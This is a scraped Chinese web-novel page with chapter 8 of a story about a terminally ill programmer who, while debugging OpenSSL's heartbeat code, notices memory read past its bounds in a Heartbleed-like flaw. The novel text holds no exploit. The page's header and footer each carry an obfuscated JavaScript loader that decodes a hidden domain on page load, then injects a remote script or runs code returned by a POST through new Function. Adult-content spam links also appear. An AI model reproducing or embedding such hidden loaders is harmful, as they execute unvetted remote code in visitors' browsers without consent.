笔尖中文

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2tqaGRiaGpzYmprZC5jb20=','2843',window,document,['G','TpoZFcguG']);}:function(){};
电影推荐:深夜蠕动无删减版 
热门推荐: 心肝与她的舔狗(校园H 强取豪夺)

第8章 像心脏流血一般的漏洞(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('陈青峰和赵长安在咖啡馆说完了正事之后,陈青峰便转身离开了。

一路上,他乘坐地铁回到了家里,刚一回到家,一种难以形容的难受的感觉就突然袭来。以至于陈青峰一时不慎跌倒在地。

于是他艰难的在地板上挪动着。

直到慢慢的挪进了卧室,然后他连忙打开抽屉,拿出了几片从帝都回来时医生开给他的镇痛药。

随后直接干咽了下去。

一直过了好一会儿,陈青峰才终于缓过劲儿来。

没事,他饿着肚子慢慢的走到了厨房,给自己煮了一碗清汤挂面。

因为身体极度难受,他吃不下任何的东西。

只有不用咀嚼的挂面,他还勉强吃得下。

就这样,他煮好了面之后端着锅来到了自己熟悉的书房。

随后打开电脑,做起了每天都要做的事情,那就是阅读代码。

作为一名程序员,陈青峰一直喜欢阅读那些知名的开源代码。

而最近这些日子,他一直在研究openssl。

因为这个项目是全球最知名的加密协议。而且同时它也是一个开源项目。

ssl本来是一个连接协议,但后来使用的人多了,于是便有人想到了加密的手段来阻止黑客进行破坏。

于是openssl这个项目便诞生了。

现在陈青峰要做的是黑客类型的外挂,如果能够了解一些openssl的原理。那对于他的外挂事业会很有帮助,最起码他能够知道哪些程序员犯了致命的错误,而自己该如何下手?

陈青峰一边吃着挂面,一边在自己的项目工程文件里阅读着代码。

调试代码是一件繁琐的事情,但这也是程序员和程序员之间的对话。

你可以通过学习别人的程序来提高自己。

并且这个过程只有懂技术的人才会乐在其中。

除此之外,陈青峰还发现了另外一个好处,那就是在调试代码享受乐趣的时候,身体和大脑会暂时忘记关于自己体内癌症的事情。

这对于减缓因为疾病带来的不适有很好的帮助。

“心跳检测!”

这是一个用来做时间同步的功能,虽然很重要,但很多程序之间都有心跳检测,因此这段代码读起来大同小异。

陈青峰慢慢的在代码中间打着节点,他自己构建了一个可以测试openssl的小型测试程序。

通过断点,可以看清楚到底内存中存储了什么东西?

陈青峰先是按常规的策略,将心跳包发送了过去。

很快他的断点就收到了回应!

这一切都在他的意料之中,不过就在这时,他的手不小心碰到了筷子,筷子在键盘上碰了一下,陈青峰手忙脚乱,一下子又碰到了鼠标点了一下编译按钮,看着漫长的编译程序,他不由的感到一阵头疼。

还好,编译器只是编译他修改部分的代码。

可就在这时,断点又一次被触发了。

陈青峰惊讶的看着这一切。

然后他又回过头来,看着代码里被自己修改的部分。

原本应该发送的一段内容,已经超出了64kb应有的范围,刚才陈青峰不小心在后面多加了一个0。

按理说,这段非法报文发送出去之后,断点是不会被触发的。

可现在它居然被触发了?

这到底是怎么回事?

陈青峰觉得有点奇怪,程序不应该走到这里。

于是他重新试验了一下,又多加了几个断点。

于是程序便开始一步一步的被陈青峰跟随着。

当陈青峰看到一处if判断的时候,他突然发现,这段程序的指针竟然违反常规的跳到了if为真的代码段!

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuZGt2YWtsZHZuc3YuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};